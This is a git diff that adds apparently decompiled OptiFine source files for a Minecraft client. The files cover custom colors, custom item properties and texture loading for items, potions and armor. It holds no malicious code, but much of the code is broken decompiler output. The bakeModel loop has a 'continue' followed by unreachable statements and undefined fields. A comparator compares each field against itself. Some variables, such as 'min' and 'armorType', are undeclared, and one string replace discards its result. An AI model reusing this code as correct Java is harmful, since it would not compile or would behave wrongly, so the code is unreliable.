+    if (colors != null)
+    {
+      MapColor[] mapColors = MapColor.mapColorArray;
+      
+      for (int i = 0; (i < mapColors.length) && (i < colors.length); i++)
+      {
+        MapColor mapColor = mapColors[i];
+        
+        if (mapColor != null)
+        {
+          int color = colors[i];
+          
+          if (color >= 0)
+          {
+            colorValue = color;
+          }
+        }
+      }
+    }
+  }
+  
+  private static int getEntityId(String name)
+  {
+    if (name == null)
+    {
+      return -1;
+    }
+    
+
+    int id = EntityList.func_180122_a(name);
+    
+    if (id < 0)
+    {
+      return -1;
+    }
+    
+
+    String idName = EntityList.getStringFromID(id);
+    return !Config.equals(name, idName) ? -1 : id;
+  }
+  
+
+
+  private static void dbg(String str)
+  {
+    Config.dbg("CustomColors: " + str);
+  }
+  
+  private static void warn(String str)
+  {
+    Config.warn("CustomColors: " + str);
+  }
+  
+  public static int getExpBarTextColor(int color)
+  {
+    return expBarTextColor < 0 ? color : expBarTextColor;
+  }
+  
+  public static int getBossTextColor(int color)
+  {
+    return bossTextColor < 0 ? color : bossTextColor;
+  }
+  
+  public static int getSignTextColor(int color)
+  {
+    return signTextColor < 0 ? color : signTextColor;
+  }
+  
+  public static abstract interface IColorizer
+  {
+    public abstract int getColor(IBlockAccess paramIBlockAccess, BlockPos paramBlockPos);
+    
+    public abstract boolean isColorConstant();
+  }
+}
diff --git a/src/minecraft/optifine/CustomItemProperties.java b/src/minecraft/optifine/CustomItemProperties.java
new file mode 100644
index 0000000..8089902
--- /dev/null
+++ b/src/minecraft/optifine/CustomItemProperties.java
@@ -0,0 +1,941 @@
+package optifine;
+
+import java.util.ArrayList;
+import java.util.HashMap;
+import java.util.Iterator;
+import java.util.LinkedHashMap;
+import java.util.Map;
+import java.util.Properties;
+import java.util.Set;
+import java.util.TreeSet;
+import net.minecraft.client.renderer.GlStateManager;
+import net.minecraft.client.renderer.block.model.BakedQuad;
+import net.minecraft.client.renderer.block.model.BlockPart;
+import net.minecraft.client.renderer.block.model.BlockPartFace;
+import net.minecraft.client.renderer.block.model.FaceBakery;
+import net.minecraft.client.renderer.block.model.ItemModelGenerator;
+import net.minecraft.client.renderer.block.model.ModelBlock;
+import net.minecraft.client.renderer.texture.ITextureObject;
+import net.minecraft.client.renderer.texture.TextureAtlasSprite;
+import net.minecraft.client.renderer.texture.TextureManager;
+import net.minecraft.client.renderer.texture.TextureMap;
+import net.minecraft.client.resources.model.IBakedModel;
+import net.minecraft.client.resources.model.ModelResourceLocation;
+import net.minecraft.client.resources.model.ModelRotation;
+import net.minecraft.client.resources.model.SimpleBakedModel.Builder;
+import net.minecraft.item.Item;
+import net.minecraft.item.ItemArmor;
+import net.minecraft.item.ItemArmor.ArmorMaterial;
+import net.minecraft.util.EnumFacing;
+import net.minecraft.util.ResourceLocation;
+import org.lwjgl.opengl.GL11;
+
+public class CustomItemProperties
+{
+  public String name = null;
+  public String basePath = null;
+  public int type = 1;
+  public int[] items = null;
+  public String texture = null;
+  public Map<String, String> mapTextures = null;
+  public RangeListInt damage = null;
+  public boolean damagePercent = false;
+  public int damageMask = 0;
+  public RangeListInt stackSize = null;
+  public RangeListInt enchantmentIds = null;
+  public RangeListInt enchantmentLevels = null;
+  public NbtTagValue[] nbtTagValues = null;
+  public int blend = 1;
+  public float speed = 0.0F;
+  public float rotation = 0.0F;
+  public int layer = 0;
+  public float duration = 1.0F;
+  public int weight = 0;
+  public ResourceLocation textureLocation = null;
+  public Map mapTextureLocations = null;
+  public TextureAtlasSprite sprite = null;
+  public Map mapSprites = null;
+  public IBakedModel model = null;
+  public Map<String, IBakedModel> mapModels = null;
+  private int textureWidth = 0;
+  private int textureHeight = 0;
+  public static final int TYPE_UNKNOWN = 0;
+  public static final int TYPE_ITEM = 1;
+  public static final int TYPE_ENCHANTMENT = 2;
+  public static final int TYPE_ARMOR = 3;
+  
+  public CustomItemProperties(Properties props, String path)
+  {
+    name = parseName(path);
+    basePath = parseBasePath(path);
+    type = parseType(props.getProperty("type"));
+    items = parseItems(props.getProperty("items"), props.getProperty("matchItems"));
+    mapTextures = parseTextures(props, basePath);
+    texture = parseTexture(props.getProperty("texture"), props.getProperty("tile"), props.getProperty("source"), path, basePath, type, mapTextures);
+    String damageStr = props.getProperty("damage");
+    
+    if (damageStr != null)
+    {
+      damagePercent = damageStr.contains("%");
+      damageStr.replace("%", "");
+      damage = parseRangeListInt(damageStr);
+      damageMask = parseInt(props.getProperty("damageMask"), 0);
+    }
+    
+    stackSize = parseRangeListInt(props.getProperty("stackSize"));
+    enchantmentIds = parseRangeListInt(props.getProperty("enchantmentIDs"));
+    enchantmentLevels = parseRangeListInt(props.getProperty("enchantmentLevels"));
+    nbtTagValues = parseNbtTagValues(props);
+    blend = Blender.parseBlend(props.getProperty("blend"));
+    speed = parseFloat(props.getProperty("speed"), 0.0F);
+    rotation = parseFloat(props.getProperty("rotation"), 0.0F);
+    layer = parseInt(props.getProperty("layer"), 0);
+    weight = parseInt(props.getProperty("weight"), 0);
+    duration = parseFloat(props.getProperty("duration"), 1.0F);
+  }
+  
+  private static String parseName(String path)
+  {
+    String str = path;
+    int pos = path.lastIndexOf('/');
+    
+    if (pos >= 0)
+    {
+      str = path.substring(pos + 1);
+    }
+    
+    int pos2 = str.lastIndexOf('.');
+    
+    if (pos2 >= 0)
+    {
+      str = str.substring(0, pos2);
+    }
+    
+    return str;
+  }
+  
+  private static String parseBasePath(String path)
+  {
+    int pos = path.lastIndexOf('/');
+    return pos < 0 ? "" : path.substring(0, pos);
+  }
+  
+  private int parseType(String str)
+  {
+    if (str == null)
+    {
+      return 1;
+    }
+    if (str.equals("item"))
+    {
+      return 1;
+    }
+    if (str.equals("enchantment"))
+    {
+      return 2;
+    }
+    if (str.equals("armor"))
+    {
+      return 3;
+    }
+    
+
+    Config.warn("Unknown method: " + str);
+    return 0;
+  }
+  
+
+  private int[] parseItems(String str, String str2)
+  {
+    if (str == null)
+    {
+      str = str2;
+    }
+    
+    if (str == null)
+    {
+      return null;
+    }
+    
+
+    str = str.trim();
+    TreeSet setItemIds = new TreeSet();
+    String[] tokens = Config.tokenize(str, " ");
+    
+
+
+    for (int integers = 0; integers < tokens.length; integers++)
+    {
+      String ints = tokens[integers];
+      int i = Config.parseInt(ints, -1);
+      
+      if (i >= 0)
+      {
+        setItemIds.add(new Integer(i));
+
+      }
+      else
+      {
+
+        if (ints.contains("-"))
+        {
+          String[] item = Config.tokenize(ints, "-");
+          
+          if (item.length == 2)
+          {
+            int id = Config.parseInt(item[0], -1);
+            int val2 = Config.parseInt(item[1], -1);
+            
+            if ((id >= 0) && (val2 >= 0))
+            {
+              int min = Math.min(id, val2);
+              int max = Math.max(id, val2);
+              int x = min;
+              
+
+
+              while (x <= max)
+              {
+
+
+
+                setItemIds.add(new Integer(x));
+                x++;
+              }
+            }
+          }
+        }
+        
+        Item var16 = Item.getByNameOrId(ints);
+        
+        if (var16 == null)
+        {
+          Config.warn("Item not found: " + ints);
+        }
+        else
+        {
+          int id = Item.getIdFromItem(var16);
+          
+          if (id < 0)
+          {
+            Config.warn("Item not found: " + ints);
+          }
+          else
+          {
+            setItemIds.add(new Integer(id));
+          }
+        }
+      }
+    }
+    
+    Integer[] var14 = (Integer[])setItemIds.toArray(new Integer[setItemIds.size()]);
+    int[] var15 = new int[var14.length];
+    
+    for (int i = 0; i < var15.length; i++)
+    {
+      var15[i] = var14[i].intValue();
+    }
+    
+    return var15;
+  }
+  
+
+  private static String parseTexture(String texStr, String texStr2, String texStr3, String path, String basePath, int type, Map<String, String> mapTexs)
+  {
+    if (texStr == null)
+    {
+      texStr = texStr2;
+    }
+    
+    if (texStr == null)
+    {
+      texStr = texStr3;
+    }
+    
+
+
+    if (texStr != null)
+    {
+      String str = ".png";
+      
+      if (texStr.endsWith(str))
+      {
+        texStr = texStr.substring(0, texStr.length() - str.length());
+      }
+      
+      texStr = fixTextureName(texStr, basePath);
+      return texStr;
+    }
+    if (type == 3)
+    {
+      return null;
+    }
+    
+
+    if (mapTexs != null)
+    {
+      String str = (String)mapTexs.get("texture.bow_standby");
+      
+      if (str != null)
+      {
+        return str;
+      }
+    }
+    
+    String str = path;
+    int pos = path.lastIndexOf('/');
+    
+    if (pos >= 0)
+    {
+      str = path.substring(pos + 1);
+    }
+    
+    int pos2 = str.lastIndexOf('.');
+    
+    if (pos2 >= 0)
+    {
+      str = str.substring(0, pos2);
+    }
+    
+    str = fixTextureName(str, basePath);
+    return str;
+  }
+  
+
+  private static Map parseTextures(Properties props, String basePath)
+  {
+    String prefix = "texture.";
+    Map mapProps = getMatchingProperties(props, prefix);
+    
+    if (mapProps.size() <= 0)
+    {
+      return null;
+    }
+    
+
+    Set keySet = mapProps.keySet();
+    LinkedHashMap mapTex = new LinkedHashMap();
+    Iterator it = keySet.iterator();
+    
+    while (it.hasNext())
+    {
+      String key = (String)it.next();
+      String val = (String)mapProps.get(key);
+      val = fixTextureName(val, basePath);
+      mapTex.put(key, val);
+    }
+    
+    return mapTex;
+  }
+  
+
+  private static String fixTextureName(String iconName, String basePath)
+  {
+    iconName = TextureUtils.fixResourcePath(iconName, basePath);
+    
+    if ((!iconName.startsWith(basePath)) && (!iconName.startsWith("textures/")) && (!iconName.startsWith("mcpatcher/")))
+    {
+      iconName = basePath + "/" + iconName;
+    }
+    
+    if (iconName.endsWith(".png"))
+    {
+      iconName = iconName.substring(0, iconName.length() - 4);
+    }
+    
+    String pathBlocks = "textures/blocks/";
+    
+    if (iconName.startsWith(pathBlocks))
+    {
+      iconName = iconName.substring(pathBlocks.length());
+    }
+    
+    if (iconName.startsWith("/"))
+    {
+      iconName = iconName.substring(1);
+    }
+    
+    return iconName;
+  }
+  
+  private int parseInt(String str, int defVal)
+  {
+    if (str == null)
+    {
+      return defVal;
+    }
+    
+
+    str = str.trim();
+    int val = Config.parseInt(str, Integer.MIN_VALUE);
+    
+    if (val == Integer.MIN_VALUE)
+    {
+      Config.warn("Invalid integer: " + str);
+      return defVal;
+    }
+    
+
+    return val;
+  }
+  
+
+
+  private float parseFloat(String str, float defVal)
+  {
+    if (str == null)
+    {
+      return defVal;
+    }
+    
+
+    str = str.trim();
+    float val = Config.parseFloat(str, Float.MIN_VALUE);
+    
+    if (val == Float.MIN_VALUE)
+    {
+      Config.warn("Invalid float: " + str);
+      return defVal;
+    }
+    
+
+    return val;
+  }
+  
+
+
+  private RangeListInt parseRangeListInt(String str)
+  {
+    if (str == null)
+    {
+      return null;
+    }
+    
+
+    String[] tokens = Config.tokenize(str, " ");
+    RangeListInt rangeList = new RangeListInt();
+    
+    for (int i = 0; i < tokens.length; i++)
+    {
+      String token = tokens[i];
+      RangeInt range = parseRangeInt(token);
+      
+      if (range == null)
+      {
+        Config.warn("Invalid range list: " + str);
+        return null;
+      }
+      
+      rangeList.addRange(range);
+    }
+    
+    return rangeList;
+  }
+  
+
+  private RangeInt parseRangeInt(String str)
+  {
+    if (str == null)
+    {
+      return null;
+    }
+    
+
+    str = str.trim();
+    int countMinus = str.length() - str.replace("-", "").length();
+    
+    if (countMinus > 1)
+    {
+      Config.warn("Invalid range: " + str);
+      return null;
+    }
+    
+
+    String[] tokens = Config.tokenize(str, "- ");
+    int[] vals = new int[tokens.length];
+    
+
+    for (int min = 0; min < tokens.length; min++)
+    {
+      String max = tokens[min];
+      int val = Config.parseInt(max, -1);
+      
+      if (val < 0)
+      {
+        Config.warn("Invalid range: " + str);
+        return null;
+      }
+      
+      vals[min] = val;
+    }
+    
+    if (vals.length == 1)
+    {
+      min = vals[0];
+      
+      if (str.startsWith("-"))
+      {
+        return new RangeInt(0, min);
+      }
+      if (str.endsWith("-"))
+      {
+        return new RangeInt(min, 255);
+      }
+      
+
+      return new RangeInt(min, min);
+    }
+    
+    if (vals.length == 2)
+    {
+      min = Math.min(vals[0], vals[1]);
+      int var8 = Math.max(vals[0], vals[1]);
+      return new RangeInt(min, var8);
+    }
+    
+
+    Config.warn("Invalid range: " + str);
+    return null;
+  }
+  
+
+
+
+  private NbtTagValue[] parseNbtTagValues(Properties props)
+  {
+    String PREFIX_NBT = "nbt.";
+    Map mapNbt = getMatchingProperties(props, PREFIX_NBT);
+    
+    if (mapNbt.size() <= 0)
+    {
+      return null;
+    }
+    
+
+    ArrayList listNbts = new ArrayList();
+    Set keySet = mapNbt.keySet();
+    Iterator nbts = keySet.iterator();
+    
+    while (nbts.hasNext())
+    {
+      String key = (String)nbts.next();
+      String val = (String)mapNbt.get(key);
+      String id = key.substring(PREFIX_NBT.length());
+      NbtTagValue nbt = new NbtTagValue(id, val);
+      listNbts.add(nbt);
+    }
+    
+    NbtTagValue[] nbts1 = (NbtTagValue[])listNbts.toArray(new NbtTagValue[listNbts.size()]);
+    return nbts1;
+  }
+  
+
+  private static Map getMatchingProperties(Properties props, String keyPrefix)
+  {
+    LinkedHashMap map = new LinkedHashMap();
+    Set keySet = props.keySet();
+    Iterator it = keySet.iterator();
+    
+    while (it.hasNext())
+    {
+      String key = (String)it.next();
+      String val = props.getProperty(key);
+      
+      if (key.startsWith(keyPrefix))
+      {
+        map.put(key, val);
+      }
+    }
+    
+    return map;
+  }
+  
+  public boolean isValid(String path)
+  {
+    if ((name != null) && (name.length() > 0))
+    {
+      if (basePath == null)
+      {
+        Config.warn("No base path found: " + path);
+        return false;
+      }
+      if (type == 0)
+      {
+        Config.warn("No type defined: " + path);
+        return false;
+      }
+      if (((type == 1) || (type == 3)) && (items == null))
+      {
+        Config.warn("No items defined: " + path);
+        return false;
+      }
+      if ((texture == null) && (mapTextures == null))
+      {
+        Config.warn("No texture specified: " + path);
+        return false;
+      }
+      if ((type == 2) && (enchantmentIds == null))
+      {
+        Config.warn("No enchantmentIDs specified: " + path);
+        return false;
+      }
+      
+
+      return true;
+    }
+    
+
+
+    Config.warn("No name found: " + path);
+    return false;
+  }
+  
+
+  public void updateIcons(TextureMap textureMap)
+  {
+    if (texture != null)
+    {
+      textureLocation = getTextureLocation(texture);
+      
+      if (type == 1)
+      {
+        ResourceLocation keySet = getSpriteLocation(textureLocation);
+        sprite = textureMap.func_174942_a(keySet);
+      }
+    }
+    
+    if (mapTextures != null)
+    {
+      mapTextureLocations = new HashMap();
+      mapSprites = new HashMap();
+      Set keySet1 = mapTextures.keySet();
+      Iterator it = keySet1.iterator();
+      
+      while (it.hasNext())
+      {
+        String key = (String)it.next();
+        String val = (String)mapTextures.get(key);
+        ResourceLocation locTex = getTextureLocation(val);
+        mapTextureLocations.put(key, locTex);
+        
+        if (type == 1)
+        {
+          ResourceLocation locSprite = getSpriteLocation(locTex);
+          TextureAtlasSprite icon = textureMap.func_174942_a(locSprite);
+          mapSprites.put(key, icon);
+        }
+      }
+    }
+  }
+  
+  private ResourceLocation getTextureLocation(String texName)
+  {
+    if (texName == null)
+    {
+      return null;
+    }
+    
+
+    ResourceLocation resLoc = new ResourceLocation(texName);
+    String domain = resLoc.getResourceDomain();
+    String path = resLoc.getResourcePath();
+    
+    if (!path.contains("/"))
+    {
+      path = "textures/blocks/" + path;
+    }
+    
+    String filePath = path + ".png";
+    ResourceLocation locFile = new ResourceLocation(domain, filePath);
+    boolean exists = Config.hasResource(locFile);
+    
+    if (!exists)
+    {
+      Config.warn("File not found: " + filePath);
+    }
+    
+    return locFile;
+  }
+  
+
+  private ResourceLocation getSpriteLocation(ResourceLocation resLoc)
+  {
+    String pathTex = resLoc.getResourcePath();
+    pathTex = StrUtils.removePrefix(pathTex, "textures/");
+    pathTex = StrUtils.removeSuffix(pathTex, ".png");
+    ResourceLocation locTex = new ResourceLocation(resLoc.getResourceDomain(), pathTex);
+    return locTex;
+  }
+  
+  public void updateModel(TextureMap textureMap, ItemModelGenerator itemModelGenerator)
+  {
+    String[] textures = getModelTextures();
+    boolean useTint = isUseTint();
+    model = makeBakedModel(textureMap, itemModelGenerator, textures, useTint);
+    
+    if ((type == 1) && (mapTextures != null))
+    {
+      Set keySet = mapTextures.keySet();
+      Iterator it = keySet.iterator();
+      
+      while (it.hasNext())
+      {
+        String key = (String)it.next();
+        String tex = (String)mapTextures.get(key);
+        String path = StrUtils.removePrefix(key, "texture.");
+        
+        if ((path.startsWith("bow")) || (path.startsWith("fishing_rod")))
+        {
+          String[] texNames = { tex };
+          IBakedModel modelTex = makeBakedModel(textureMap, itemModelGenerator, texNames, useTint);
+          
+          if (mapModels == null)
+          {
+            mapModels = new HashMap();
+          }
+          
+          mapModels.put(path, modelTex);
+        }
+      }
+    }
+  }
+  
+  private boolean isUseTint()
+  {
+    return true;
+  }
+  
+  private static IBakedModel makeBakedModel(TextureMap textureMap, ItemModelGenerator itemModelGenerator, String[] textures, boolean useTint)
+  {
+    ModelBlock modelBlockBase = makeModelBlock(textures);
+    ModelBlock modelBlock = itemModelGenerator.func_178392_a(textureMap, modelBlockBase);
+    IBakedModel model = bakeModel(textureMap, modelBlock, useTint);
+    return model;
+  }
+  
+  private String[] getModelTextures()
+  {
+    if ((this.type == 1) && (items.length == 1))
+    {
+      Item item = Item.getItemById(items[0]);
+      
+
+
+      if ((item == net.minecraft.init.Items.potionitem) && (damage != null) && (damage.getCountRanges() > 0))
+      {
+        RangeInt itemArmor1 = damage.getRange(0);
+        int material1 = itemArmor1.getMin();
+        boolean type1 = (material1 & 0x4000) != 0;
+        String key = getMapTexture(mapTextures, "texture.potion_overlay", "items/potion_overlay");
+        String texMain = null;
+        
+        if (type1)
+        {
+          texMain = getMapTexture(mapTextures, "texture.potion_bottle_splash", "items/potion_bottle_splash");
+        }
+        else
+        {
+          texMain = getMapTexture(mapTextures, "texture.potion_bottle_drinkable", "items/potion_bottle_drinkable");
+        }
+        
+        return new String[] { key, texMain };
+      }
+      
+      if ((item instanceof ItemArmor))
+      {
+        ItemArmor itemArmor = (ItemArmor)item;
+        
+        if (itemArmor.getArmorMaterial() == ItemArmor.ArmorMaterial.LEATHER)
+        {
+          String material = "leather";
+          String type = "helmet";
+          
+          if (armorType == 0)
+          {
+            type = "helmet";
+          }
+          
+          if (armorType == 1)
+          {
+            type = "chestplate";
+          }
+          
+          if (armorType == 2)
+          {
+            type = "leggings";
+          }
+          
+          if (armorType == 3)
+          {
+            type = "boots";
+          }
+          
+          String key = material + "_" + type;
+          String texMain = getMapTexture(mapTextures, "texture." + key, "items/" + key);
+          String texOverlay = getMapTexture(mapTextures, "texture." + key + "_overlay", "items/" + key + "_overlay");
+          return new String[] { texMain, texOverlay };
+        }
+      }
+    }
+    
+    return new String[] { texture };
+  }
+  
+  private String getMapTexture(Map<String, String> map, String key, String def)
+  {
+    if (map == null)
+    {
+      return def;
+    }
+    
+
+    String str = (String)map.get(key);
+    return str == null ? def : str;
+  }
+  
+
+  private static ModelBlock makeModelBlock(String[] modelTextures)
+  {
+    StringBuffer sb = new StringBuffer();
+    sb.append("{\"parent\": \"builtin/generated\",\"textures\": {");
+    
+    for (int modelStr = 0; modelStr < modelTextures.length; modelStr++)
+    {
+      String model = modelTextures[modelStr];
+      
+      if (modelStr > 0)
+      {
+        sb.append(", ");
+      }
+      
+      sb.append("\"layer" + modelStr + "\": \"" + model + "\"");
+    }
+    
+    sb.append("}}");
+    String var4 = sb.toString();
+    ModelBlock var5 = ModelBlock.deserialize(var4);
+    return var5;
+  }
+  
+  private static IBakedModel bakeModel(TextureMap textureMap, ModelBlock modelBlockIn, boolean useTint)
+  {
+    ModelRotation modelRotationIn = ModelRotation.X0_Y0;
+    boolean uvLocked = false;
+    TextureAtlasSprite var4 = textureMap.getSpriteSafe(modelBlockIn.resolveTextureName("particle"));
+    SimpleBakedModel.Builder var5 = new SimpleBakedModel.Builder(modelBlockIn).func_177646_a(var4);
+    Iterator var6 = modelBlockIn.getElements().iterator();
+    Iterator var8;
+    for (; var6.hasNext(); 
+        
+
+
+
+        var8.hasNext())
+    {
+      BlockPart var7 = (BlockPart)var6.next();
+      var8 = field_178240_c.keySet().iterator();
+      
+      continue;
+      
+      EnumFacing var9 = (EnumFacing)var8.next();
+      BlockPartFace var10 = (BlockPartFace)field_178240_c.get(var9);
+      
+      if (!useTint)
+      {
+        var10 = new BlockPartFace(field_178244_b, -1, field_178242_d, field_178243_e);
+      }
+      
+      TextureAtlasSprite var11 = textureMap.getSpriteSafe(modelBlockIn.resolveTextureName(field_178242_d));
+      BakedQuad quad = makeBakedQuad(var7, var10, var11, var9, modelRotationIn, uvLocked);
+      
+      if (field_178244_b == null)
+      {
+        var5.func_177648_a(quad);
+      }
+      else
+      {
+        var5.func_177650_a(modelRotationIn.func_177523_a(field_178244_b), quad);
+      }
+    }
+    
+
+    return var5.func_177645_b();
+  }
+  
+  private static BakedQuad makeBakedQuad(BlockPart blockPart, BlockPartFace blockPartFace, TextureAtlasSprite textureAtlasSprite, EnumFacing enumFacing, ModelRotation modelRotation, boolean uvLocked)
+  {
+    FaceBakery faceBakery = new FaceBakery();
+    return faceBakery.func_178414_a(field_178241_a, field_178239_b, blockPartFace, textureAtlasSprite, enumFacing, modelRotation, field_178237_d, uvLocked, field_178238_e);
+  }
+  
+  public String toString()
+  {
+    return basePath + "/" + name + ", type: " + type + ", items: [" + Config.arrayToString(items) + "], textture: " + texture;
+  }
+  
+  public float getTextureWidth(TextureManager textureManager)
+  {
+    if (textureWidth <= 0)
+    {
+      if (textureLocation != null)
+      {
+        ITextureObject tex = textureManager.getTexture(textureLocation);
+        int texId = tex.getGlTextureId();
+        int prevTexId = GlStateManager.getBoundTexture();
+        GlStateManager.func_179144_i(texId);
+        textureWidth = GL11.glGetTexLevelParameteri(3553, 0, 4096);
+        GlStateManager.func_179144_i(prevTexId);
+      }
+      
+      if (textureWidth <= 0)
+      {
+        textureWidth = 16;
+      }
+    }
+    
+    return textureWidth;
+  }
+  
+  public float getTextureHeight(TextureManager textureManager)
+  {
+    if (textureHeight <= 0)
+    {
+      if (textureLocation != null)
+      {
+        ITextureObject tex = textureManager.getTexture(textureLocation);
+        int texId = tex.getGlTextureId();
+        int prevTexId = GlStateManager.getBoundTexture();
+        GlStateManager.func_179144_i(texId);
+        textureHeight = GL11.glGetTexLevelParameteri(3553, 0, 4097);
+        GlStateManager.func_179144_i(prevTexId);
+      }
+      
+      if (textureHeight <= 0)
+      {
+        textureHeight = 16;
+      }
+    }
+    
+    return textureHeight;
+  }
+  
+  public IBakedModel getModel(ModelResourceLocation modelLocation)
+  {
+    if ((modelLocation != null) && (mapTextures != null))
+    {
+      String modelPath = modelLocation.getResourcePath();
+      
+      if (mapModels != null)
+      {
+        IBakedModel customModel = (IBakedModel)mapModels.get(modelPath);
+        
+        if (customModel != null)
+        {
+          return customModel;
+        }
+      }
+    }
+    
+    return model;
+  }
+}
diff --git a/src/minecraft/optifine/CustomItems.java b/src/minecraft/optifine/CustomItems.java
new file mode 100644
index 0000000..657e433
--- /dev/null
+++ b/src/minecraft/optifine/CustomItems.java
@@ -0,0 +1,964 @@
+package optifine;
+
+import java.io.FileNotFoundException;
+import java.io.IOException;
+import java.io.InputStream;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.Comparator;
+import java.util.HashMap;
+import java.util.HashSet;
+import java.util.List;
+import java.util.Map;
+import java.util.Properties;
+import java.util.Set;
+import net.minecraft.client.Minecraft;
+import net.minecraft.client.model.ModelBase;
+import net.minecraft.client.renderer.GlStateManager;
+import net.minecraft.client.renderer.block.model.ItemModelGenerator;
+import net.minecraft.client.renderer.entity.RenderItem;
+import net.minecraft.client.renderer.texture.TextureManager;
+import net.minecraft.client.renderer.texture.TextureMap;
+import net.minecraft.client.resources.IResourcePack;
+import net.minecraft.client.resources.model.IBakedModel;
+import net.minecraft.client.resources.model.ModelResourceLocation;
+import net.minecraft.entity.EntityLivingBase;
+import net.minecraft.init.Items;
+import net.minecraft.item.Item;
+import net.minecraft.item.ItemArmor;
+import net.minecraft.item.ItemArmor.ArmorMaterial;
+import net.minecraft.item.ItemStack;
+import net.minecraft.nbt.NBTTagCompound;
+import net.minecraft.nbt.NBTTagList;
+import net.minecraft.potion.Potion;
+import net.minecraft.util.ResourceLocation;
+import shadersmod.client.Shaders;
+import shadersmod.client.ShadersRender;
+
+public class CustomItems
+{
+  private static CustomItemProperties[][] itemProperties = null;
+  private static CustomItemProperties[][] enchantmentProperties = null;
+  private static Map mapPotionIds = null;
+  private static ItemModelGenerator itemModelGenerator = new ItemModelGenerator();
+  private static boolean useGlint = true;
+  public static final int MASK_POTION_SPLASH = 16384;
+  public static final int MASK_POTION_NAME = 63;
+  public static final String KEY_TEXTURE_OVERLAY = "texture.potion_overlay";
+  public static final String KEY_TEXTURE_SPLASH = "texture.potion_bottle_splash";
+  public static final String KEY_TEXTURE_DRINKABLE = "texture.potion_bottle_drinkable";
+  public static final String DEFAULT_TEXTURE_OVERLAY = "items/potion_overlay";
+  public static final String DEFAULT_TEXTURE_SPLASH = "items/potion_bottle_splash";
+  public static final String DEFAULT_TEXTURE_DRINKABLE = "items/potion_bottle_drinkable";
+  private static final int[] EMPTY_INT_ARRAY = new int[0];
+  private static final int[][] EMPTY_INT2_ARRAY = new int[0][];
+  
+  public CustomItems() {}
+  
+  public static void updateIcons(TextureMap textureMap) { itemProperties = null;
+    enchantmentProperties = null;
+    useGlint = true;
+    
+    if (Config.isCustomItems())
+    {
+      readCitProperties("mcpatcher/cit.properties");
+      IResourcePack[] rps = Config.getResourcePacks();
+      
+      for (int i = rps.length - 1; i >= 0; i--)
+      {
+        IResourcePack rp = rps[i];
+        updateIcons(textureMap, rp);
+      }
+      
+      updateIcons(textureMap, Config.getDefaultResourcePack());
+      
+      if (itemProperties.length <= 0)
+      {
+        itemProperties = null;
+      }
+      
+      if (enchantmentProperties.length <= 0)
+      {
+        enchantmentProperties = null;
+      }
+    }
+  }
+  
+  private static void readCitProperties(String fileName)
+  {
+    try
+    {
+      ResourceLocation e = new ResourceLocation(fileName);
+      InputStream in = Config.getResourceStream(e);
+      
+      if (in == null)
+      {
+        return;
+      }
+      
+      Config.dbg("CustomItems: Loading " + fileName);
+      Properties props = new Properties();
+      props.load(in);
+      in.close();
+      useGlint = Config.parseBoolean(props.getProperty("useGlint"), true);
+
+
+    }
+    catch (FileNotFoundException var4) {}catch (IOException var5)
+    {
+
+
+      var5.printStackTrace();
+    }
+  }
+  
+  private static void updateIcons(TextureMap textureMap, IResourcePack rp)
+  {
+    String[] names = ResUtils.collectFiles(rp, "mcpatcher/cit/", ".properties", null);
+    Map mapAutoProperties = makeAutoImageProperties(rp);
+    
+    if (mapAutoProperties.size() > 0)
+    {
+      Set itemList = mapAutoProperties.keySet();
+      String[] enchantmentList = (String[])itemList.toArray(new String[itemList.size()]);
+      names = (String[])Config.addObjectsToArray(names, enchantmentList);
+    }
+    
+    Arrays.sort(names);
+    List var14 = makePropertyList(itemProperties);
+    List var15 = makePropertyList(enchantmentProperties);
+    
+    for (int comp = 0; comp < names.length; comp++)
+    {
+      String i = names[comp];
+      Config.dbg("CustomItems: " + i);
+      
+      try
+      {
+        CustomItemProperties cips = null;
+        
+        if (mapAutoProperties.containsKey(i))
+        {
+          cips = (CustomItemProperties)mapAutoProperties.get(i);
+        }
+        
+        if (cips == null)
+        {
+          ResourceLocation locFile = new ResourceLocation(i);
+          InputStream in = rp.getInputStream(locFile);
+          
+          if (in == null)
+          {
+            Config.warn("CustomItems file not found: " + i);
+          }
+          else
+          {
+            Properties props = new Properties();
+            props.load(in);
+            cips = new CustomItemProperties(props, i);
+          }
+        }
+        else if (cips.isValid(i))
+        {
+          cips.updateIcons(textureMap);
+          addToItemList(cips, var14);
+          addToEnchantmentList(cips, var15);
+        }
+      }
+      catch (FileNotFoundException var12)
+      {
+        Config.warn("CustomItems file not found: " + i);
+      }
+      catch (Exception var13)
+      {
+        var13.printStackTrace();
+      }
+    }
+    
+    itemProperties = propertyListToArray(var14);
+    enchantmentProperties = propertyListToArray(var15);
+    Comparator var16 = getPropertiesComparator();
+    
+
+
+    for (int var17 = 0; var17 < itemProperties.length; var17++)
+    {
+      CustomItemProperties[] var18 = itemProperties[var17];
+      
+      if (var18 != null)
+      {
+        Arrays.sort(var18, var16);
+      }
+    }
+    
+    for (var17 = 0; var17 < enchantmentProperties.length; var17++)
+    {
+      CustomItemProperties[] var18 = enchantmentProperties[var17];
+      
+      if (var18 != null)
+      {
+        Arrays.sort(var18, var16);
+      }
+    }
+  }
+  
+  private static Comparator getPropertiesComparator()
+  {
+    Comparator comp = new Comparator()
+    {
+      public int compare(Object o1, Object o2)
+      {
+        CustomItemProperties cip1 = (CustomItemProperties)o1;
+        CustomItemProperties cip2 = (CustomItemProperties)o2;
+        return !basePath.equals(basePath) ? basePath.compareTo(basePath) : weight != weight ? weight - weight : layer != layer ? layer - layer : name.compareTo(name);
+      }
+    };
+    return comp;
+  }
+  
+  public static void updateModels()
+  {
+    if (itemProperties != null)
+    {
+      for (int id = 0; id < itemProperties.length; id++)
+      {
+        CustomItemProperties[] cips = itemProperties[id];
+        
+        if (cips != null)
+        {
+          for (int c = 0; c < cips.length; c++)
+          {
+            CustomItemProperties cip = cips[c];
+            
+            if ((cip != null) && (type == 1))
+            {
+              TextureMap textureMap = Minecraft.getMinecraft().getTextureMapBlocks();
+              cip.updateModel(textureMap, itemModelGenerator);
+            }
+          }
+        }
+      }
+    }
+  }
+  
+  private static Map makeAutoImageProperties(IResourcePack rp)
+  {
+    HashMap map = new HashMap();
+    map.putAll(makePotionImageProperties(rp, false));
+    map.putAll(makePotionImageProperties(rp, true));
+    return map;
+  }
+  
+  private static Map makePotionImageProperties(IResourcePack rp, boolean splash)
+  {
+    HashMap map = new HashMap();
+    String type = splash ? "splash/" : "normal/";
+    String[] prefixes = { "mcpatcher/cit/potion/" + type, "mcpatcher/cit/Potion/" + type };
+    String[] suffixes = { ".png" };
